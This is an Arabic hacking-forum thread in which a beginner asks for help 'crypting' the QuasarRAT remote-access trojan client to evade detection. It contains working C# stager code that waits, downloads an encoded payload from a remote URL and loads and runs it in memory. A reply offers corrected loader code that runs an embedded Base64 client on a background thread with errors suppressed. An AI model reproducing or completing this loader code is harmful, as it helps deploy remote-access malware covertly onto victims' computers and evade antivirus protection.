مشكلة عند محاولة تشفير QuasarRAT-master

  • (واستعينوا بالصبر والصلاة وإنها لكبيرة إلا على الخاشعين)
    لاتضيع صلاتك .. تعتبر الصلاة الركن الثاني من أركان الاسلام، حيث لا يصحّ إسلام مسلمٍ إلا بها

  • (وماكان الله معذبهم وهم يستغفرون) ..الاستغفار هو السبيل الأقرب لنيل رضى الله عز وجل
    اللهم أنت ربي لا إله إلى أنت خلقتني وأنا عبدك، وأنا على عهدك ووعدك ما استطعت، أعوذ بك من شر ما صنعت، أبوء لك بنعمتك علي، وأبوء بذنبي فاغفر لي فإنّه لا يغفر الذنوب إلّا أنت

New1

:: عضو جديد ::
14 مايو 2019
1
1
0
سلام عليكم اخواني انا اسف اول موضع يكون طلب من الاعضاء
انا جديد في عالم البرماجه والاخطراق
لقد قمة بتابع دروس اخي بشار في التشفير وتعلم البرمجه حتي OOP C Sharp
كونت اجرب تشفير كلينت QuasarRAT
وضهرات معي مشكله في EntryPoint
حاولة انا امرر parameteres علي هذا الشكل​
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Reflection;
using System.Threading;


namespace Downloders
{
    public static class Program
    {
        public static void Main()
        {

            Thread.Sleep(30000);


            var wc = new WebClient();

            var s = wc.DownloadString("http://");
            string[] parameteres = new string[1];
            Assembly.Load(HexStrToByteArray(ReverseString(s))).EntryPoint.Invoke(null, parameteres); ;
         
        }
     


        public static byte[] HexStrToByteArray(string str)
        {
            var hexindex = new Dictionary<string, byte>();

            for (var i = 0; i <= 255; i++)
                hexindex.Add(i.ToString("X2"), Convert.ToByte(i));

            var hexres = new List<byte>();

            for (var i = 0; i <= str.Length - 1; i += 2)
                hexres.Add(hexindex[str.Substring(i, 2)]);

            return hexres.ToArray();
        }

        public static string ReverseString(string s)
        {
            var arr = s.ToCharArray();
            Array.Reverse(arr);
            return new string(arr);
        }
    }
}
لكن تظهر معي مشكلة في الكود
وجربة ايضاا بهذا الشكل
C#:
            Assembly.Load(HexStrToByteArray(ReverseString(s))).EntryPoint.Invoke(null, new object[] { new string[] { null } }); ;
نفس المشكلة في نقطة الادخال ارجو احد من الاخوه يوضح الي الخطاء لو تكرماا فضلا منكم انا تدلني علي باقي الطريق حتي احترف #C
 

Abdellatif Amer

:: عضو جديد ::
14 مايو 2019
3
0
0
السلام عليكم اخي انا اىضا مثلك ، احاول مرارا و تكرارا ان اشفر كلاينت .... ولكنني افشل
 

NYAN CAT

ᴄᴀғғᴇɪɴᴇ ᴅᴇᴘᴇɴᴅᴇɴᴄᴇ
8 يناير 2019
218
579
Kuwait
github.com
0
نفس المشكلة
من باب التأكد.. جرب فقط أن تعمل تحويل للكلاينت Base64 مع فريم ورك 4.0 ... حول الكلاينت وعوضه في الكود بالأسفل.. مجرد نقطة ادخال عاديه مع ثريد آخر


C#:
            new Thread(() =>
            {
                try
                {
                    Assembly asm = AppDomain.CurrentDomain.Load(Convert.FromBase64String("BASE64"));
                    MethodInfo Metinf = asm.EntryPoint;
                    object InjObj = asm.CreateInstance(Metinf.Name);
                    object[] parameters = new object[1];
                    if (Metinf.GetParameters().Length == 0)
                    {
                        parameters = null;
                    }
                    Metinf.Invoke(InjObj, parameters);
                }
                catch { }
            })
            { IsBackground = false }.Start();
 
  • أعجبني
التفاعلات: BasharBachir

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك